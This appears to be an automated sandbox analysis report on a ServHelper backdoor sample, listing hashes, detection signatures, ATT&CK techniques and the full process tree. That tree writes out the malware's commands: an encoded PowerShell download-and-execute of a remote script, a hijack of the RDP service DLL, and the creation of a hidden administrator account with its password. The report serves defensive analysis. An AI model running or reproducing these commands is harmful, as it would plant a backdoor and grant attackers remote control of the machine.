servhelper | 91d8870ce872fc1d99181a961e4b3735152e7aa77b714b015efd594fd923eea2

Analysis

max time kernel
137s
max time network
171s
platform
windows7_x64
resource
win7v20210408
submitted
12-07-2021 10:06

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General

Target

4c1063d9a1324655008a22a6d558b2dc.exe
Size

3.1MB
MD5

4c1063d9a1324655008a22a6d558b2dc
SHA1

ddecd8b6ddf3a60d841663ab58fdcfea02299d09
SHA256

91d8870ce872fc1d99181a961e4b3735152e7aa77b714b015efd594fd923eea2
SHA512

c7cd30fd24347d4a1f86a4bcef2472d2d6286970d5712d158333519a8fe69d87e6ef0df1f688f5372eead87b167f6f1f86b80510dfc35b2b01cc160feffe26cf

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper

Core1 .NET packer 1 IoCs

Detects packer/loader used by .NET malware.

resource	yara_rule
behavioral1/memory/1564-63-0x000000001D160000-0x000000001D605000-memory.dmp	Core1

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	1672	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
432	icacls.exe
1136	icacls.exe
1068	icacls.exe
1996	icacls.exe
1280	takeown.exe
1600	icacls.exe
1948	icacls.exe
1908	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130c8-191.dat	upx
behavioral1/files/0x00050000000130c9-192.dat	upx

Deletes itself 1 IoCs

pid	Process
1072	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
940	Process not Found
940	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1996	icacls.exe
1280	takeown.exe
1600	icacls.exe
1948	icacls.exe
1908	icacls.exe
432	icacls.exe
1136	icacls.exe
1068	icacls.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1564 set thread context of 332	1564	4c1063d9a1324655008a22a6d558b2dc.exe	29

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bf626aef-948c-4bf9-b62a-164ef5fcbf25	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_03510e5f-40ee-4f9e-865f-ac9fbfd7119f	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_836753f2-5be0-4e3a-ae49-322e7f116f0f	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_546b8086-e28c-47e3-b5dc-3e692ef60d00	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dc13cecf-7dcf-4554-ae74-651a8ae04698	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6074b797-9906-4d97-9912-9983a98b0e76	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8a689b78-a189-4a7d-93c3-eb64b9758d55	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_58dba63d-3142-4ada-ae7c-08d47aeda038	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ba13edb4-bc0a-476c-8685-cacec003a243	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_899c0d7b-276a-4bb5-bab5-a20e8c527514	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2T2L72SJATQTEK1IS1JS.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7438f68f-6d6b-4086-ac30-5318d38788f8	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 1051d9141777d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
568	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1072	powershell.exe
1072	powershell.exe
1568	powershell.exe
1568	powershell.exe
1752	powershell.exe
1752	powershell.exe
840	powershell.exe
840	powershell.exe
1072	powershell.exe
1072	powershell.exe
1072	powershell.exe
1672	powershell.exe
1672	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
464	Process not Found
940	Process not Found
940	Process not Found
940	Process not Found
940	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1072	powershell.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeDebugPrivilege	1752	powershell.exe
Token: SeDebugPrivilege	840	powershell.exe
Token: SeRestorePrivilege	1948	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1940	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1940	WMIC.exe
Token: SeAuditPrivilege	1940	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1940	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1940	WMIC.exe
Token: SeAuditPrivilege	1940	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	944	WMIC.exe
Token: SeIncreaseQuotaPrivilege	944	WMIC.exe
Token: SeAuditPrivilege	944	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	944	WMIC.exe
Token: SeIncreaseQuotaPrivilege	944	WMIC.exe
Token: SeAuditPrivilege	944	WMIC.exe
Token: SeDebugPrivilege	1672	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1564 wrote to memory of 332	1564	4c1063d9a1324655008a22a6d558b2dc.exe	29
PID 1564 wrote to memory of 332	1564	4c1063d9a1324655008a22a6d558b2dc.exe	29
PID 1564 wrote to memory of 332	1564	4c1063d9a1324655008a22a6d558b2dc.exe	29
PID 1564 wrote to memory of 332	1564	4c1063d9a1324655008a22a6d558b2dc.exe	29
PID 1564 wrote to memory of 332	1564	4c1063d9a1324655008a22a6d558b2dc.exe	29
PID 1564 wrote to memory of 332	1564	4c1063d9a1324655008a22a6d558b2dc.exe	29
PID 1564 wrote to memory of 332	1564	4c1063d9a1324655008a22a6d558b2dc.exe	29
PID 1564 wrote to memory of 332	1564	4c1063d9a1324655008a22a6d558b2dc.exe	29
PID 1564 wrote to memory of 332	1564	4c1063d9a1324655008a22a6d558b2dc.exe	29
PID 1564 wrote to memory of 332	1564	4c1063d9a1324655008a22a6d558b2dc.exe	29
PID 1564 wrote to memory of 332	1564	4c1063d9a1324655008a22a6d558b2dc.exe	29
PID 332 wrote to memory of 1072	332	vbc.exe	30
PID 332 wrote to memory of 1072	332	vbc.exe	30
PID 332 wrote to memory of 1072	332	vbc.exe	30
PID 1072 wrote to memory of 900	1072	powershell.exe	32
PID 1072 wrote to memory of 900	1072	powershell.exe	32
PID 1072 wrote to memory of 900	1072	powershell.exe	32
PID 900 wrote to memory of 296	900	csc.exe	33
PID 900 wrote to memory of 296	900	csc.exe	33
PID 900 wrote to memory of 296	900	csc.exe	33
PID 1072 wrote to memory of 1568	1072	powershell.exe	34
PID 1072 wrote to memory of 1568	1072	powershell.exe	34
PID 1072 wrote to memory of 1568	1072	powershell.exe	34
PID 1072 wrote to memory of 1752	1072	powershell.exe	36
PID 1072 wrote to memory of 1752	1072	powershell.exe	36
PID 1072 wrote to memory of 1752	1072	powershell.exe	36
PID 1072 wrote to memory of 840	1072	powershell.exe	38
PID 1072 wrote to memory of 840	1072	powershell.exe	38
PID 1072 wrote to memory of 840	1072	powershell.exe	38
PID 1072 wrote to memory of 1280	1072	powershell.exe	41
PID 1072 wrote to memory of 1280	1072	powershell.exe	41
PID 1072 wrote to memory of 1280	1072	powershell.exe	41
PID 1072 wrote to memory of 1600	1072	powershell.exe	42
PID 1072 wrote to memory of 1600	1072	powershell.exe	42
PID 1072 wrote to memory of 1600	1072	powershell.exe	42
PID 1072 wrote to memory of 1948	1072	powershell.exe	43
PID 1072 wrote to memory of 1948	1072	powershell.exe	43
PID 1072 wrote to memory of 1948	1072	powershell.exe	43
PID 1072 wrote to memory of 1908	1072	powershell.exe	44
PID 1072 wrote to memory of 1908	1072	powershell.exe	44
PID 1072 wrote to memory of 1908	1072	powershell.exe	44
PID 1072 wrote to memory of 432	1072	powershell.exe	45
PID 1072 wrote to memory of 432	1072	powershell.exe	45
PID 1072 wrote to memory of 432	1072	powershell.exe	45
PID 1072 wrote to memory of 1136	1072	powershell.exe	46
PID 1072 wrote to memory of 1136	1072	powershell.exe	46
PID 1072 wrote to memory of 1136	1072	powershell.exe	46
PID 1072 wrote to memory of 1068	1072	powershell.exe	47
PID 1072 wrote to memory of 1068	1072	powershell.exe	47
PID 1072 wrote to memory of 1068	1072	powershell.exe	47
PID 1072 wrote to memory of 1996	1072	powershell.exe	48
PID 1072 wrote to memory of 1996	1072	powershell.exe	48
PID 1072 wrote to memory of 1996	1072	powershell.exe	48
PID 1072 wrote to memory of 1216	1072	powershell.exe	49
PID 1072 wrote to memory of 1216	1072	powershell.exe	49
PID 1072 wrote to memory of 1216	1072	powershell.exe	49
PID 1072 wrote to memory of 568	1072	powershell.exe	50
PID 1072 wrote to memory of 568	1072	powershell.exe	50
PID 1072 wrote to memory of 568	1072	powershell.exe	50
PID 1072 wrote to memory of 1864	1072	powershell.exe	51
PID 1072 wrote to memory of 1864	1072	powershell.exe	51
PID 1072 wrote to memory of 1864	1072	powershell.exe	51
PID 1072 wrote to memory of 616	1072	powershell.exe	52
PID 1072 wrote to memory of 616	1072	powershell.exe	52

C:\Users\Admin\AppData\Local\Temp\4c1063d9a1324655008a22a6d558b2dc.exe
"C:\Users\Admin\AppData\Local\Temp\4c1063d9a1324655008a22a6d558b2dc.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1564
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Deletes itself
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1072
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\s31yo2i4\s31yo2i4.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:900
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3312.tmp" "c:\Users\Admin\AppData\Local\Temp\s31yo2i4\CSC1A57B2C6DA0F470787083E9FAB1DFAE.TMP"
        5⤵
        
        PID:296
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1568
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1752
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:840
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1280
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1600
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1948
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1908
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:432
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1136
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1068
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1996
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1216
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:568
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:1864
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:616
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:1652
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:868
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:1208
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:1296
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1988
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:836
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:1900
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:680
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1404
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1668
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:1336

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1908
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:864
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:744

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc VGt8B5pz /add
1⤵
PID:1068
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc VGt8B5pz /add
  2⤵
  PID:1216
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc VGt8B5pz /add
    3⤵
    PID:568

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:804
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:524
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1172

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:868
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1128
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1336

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:432
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:944
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:936

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc VGt8B5pz
1⤵
PID:1504
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc VGt8B5pz
  2⤵
  PID:1524
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc VGt8B5pz
    3⤵
    PID:1672

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:804
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1940

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1792
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:944

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1208
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1672

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Scripting

T1064

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/332-73-0x0000000028216000-0x0000000028217000-memory.dmp

Filesize
4KB

Download
memory/332-67-0x0000000000400000-0x00000000008DB000-memory.dmp

Filesize
4.9MB

Download
memory/332-75-0x000000002821C000-0x000000002823B000-memory.dmp

Filesize
124KB

Download
memory/332-74-0x0000000028217000-0x0000000028218000-memory.dmp

Filesize
4KB

Download
memory/332-71-0x0000000028212000-0x0000000028214000-memory.dmp

Filesize
8KB

Download
memory/332-72-0x0000000028214000-0x0000000028216000-memory.dmp

Filesize
8KB

Download
memory/332-69-0x0000000040E30000-0x00000000410DA000-memory.dmp

Filesize
2.7MB

Download
memory/332-68-0x0000000000400000-0x00000000008DB000-memory.dmp

Filesize
4.9MB

Download
memory/840-160-0x000000001AA30000-0x000000001AA32000-memory.dmp

Filesize
8KB

Download
memory/840-162-0x000000001AA34000-0x000000001AA36000-memory.dmp

Filesize
8KB

Download
memory/1072-78-0x0000000002400000-0x0000000002401000-memory.dmp

Filesize
4KB

Download
memory/1072-96-0x000000001C450000-0x000000001C451000-memory.dmp

Filesize
4KB

Download
memory/1072-112-0x000000000274A000-0x0000000002769000-memory.dmp

Filesize
124KB

Download
memory/1072-80-0x0000000002740000-0x0000000002742000-memory.dmp

Filesize
8KB

Download
memory/1072-97-0x00000000026F0000-0x00000000026F1000-memory.dmp

Filesize
4KB

Download
memory/1072-77-0x000007FEFBAE1000-0x000007FEFBAE3000-memory.dmp

Filesize
8KB

Download
memory/1072-79-0x000000001AB80000-0x000000001AB81000-memory.dmp

Filesize
4KB

Download
memory/1072-95-0x000000001B660000-0x000000001B661000-memory.dmp

Filesize
4KB

Download
memory/1072-93-0x0000000002530000-0x0000000002531000-memory.dmp

Filesize
4KB

Download
memory/1072-85-0x000000001B4F0000-0x000000001B4F1000-memory.dmp

Filesize
4KB

Download
memory/1072-83-0x0000000002470000-0x0000000002471000-memory.dmp

Filesize
4KB

Download
memory/1072-82-0x0000000002440000-0x0000000002441000-memory.dmp

Filesize
4KB

Download
memory/1072-81-0x0000000002744000-0x0000000002746000-memory.dmp

Filesize
8KB

Download
memory/1564-59-0x000000013FB50000-0x000000013FB51000-memory.dmp

Filesize
4KB

Download
memory/1564-61-0x000000001C000000-0x000000001C631000-memory.dmp

Filesize
6.2MB

Download
memory/1564-62-0x00000000005B0000-0x00000000005B2000-memory.dmp

Filesize
8KB

Download
memory/1564-63-0x000000001D160000-0x000000001D605000-memory.dmp

Filesize
4.6MB

Download
memory/1564-64-0x0000000000560000-0x0000000000570000-memory.dmp

Filesize
64KB

Download
memory/1564-65-0x0000000000570000-0x0000000000571000-memory.dmp

Filesize
4KB

Download
memory/1564-66-0x000000001E2A0000-0x000000001E72D000-memory.dmp

Filesize
4.6MB

Download
memory/1568-108-0x000000001B470000-0x000000001B471000-memory.dmp

Filesize
4KB

Download
memory/1568-110-0x0000000002780000-0x0000000002781000-memory.dmp

Filesize
4KB

Download
memory/1568-130-0x000000001B6F0000-0x000000001B6F1000-memory.dmp

Filesize
4KB

Download
memory/1568-105-0x000000001AA14000-0x000000001AA16000-memory.dmp

Filesize
8KB

Download
memory/1568-117-0x000000001B780000-0x000000001B781000-memory.dmp

Filesize
4KB

Download
memory/1568-104-0x000000001AA10000-0x000000001AA12000-memory.dmp

Filesize
8KB

Download
memory/1568-111-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

Filesize
4KB

Download
memory/1568-131-0x000000001B7C0000-0x000000001B7C1000-memory.dmp

Filesize
4KB

Download
memory/1568-106-0x0000000002490000-0x0000000002491000-memory.dmp

Filesize
4KB

Download
memory/1672-244-0x000000001965A000-0x0000000019679000-memory.dmp

Filesize
124KB

Download
memory/1672-215-0x0000000019654000-0x0000000019656000-memory.dmp

Filesize
8KB

Download
memory/1672-214-0x0000000019650000-0x0000000019652000-memory.dmp

Filesize
8KB

Download
memory/1752-145-0x0000000000330000-0x0000000000331000-memory.dmp

Filesize
4KB

Download
memory/1752-142-0x000000001B8C0000-0x000000001B8C1000-memory.dmp

Filesize
4KB

Download
memory/1752-144-0x000000001B4B0000-0x000000001B4B1000-memory.dmp

Filesize
4KB

Download
memory/1752-140-0x00000000026C0000-0x00000000026C1000-memory.dmp

Filesize
4KB

Download
memory/1752-137-0x00000000025B0000-0x00000000025B2000-memory.dmp

Filesize
8KB

Download
memory/1752-138-0x00000000025B4000-0x00000000025B6000-memory.dmp

Filesize
8KB

Download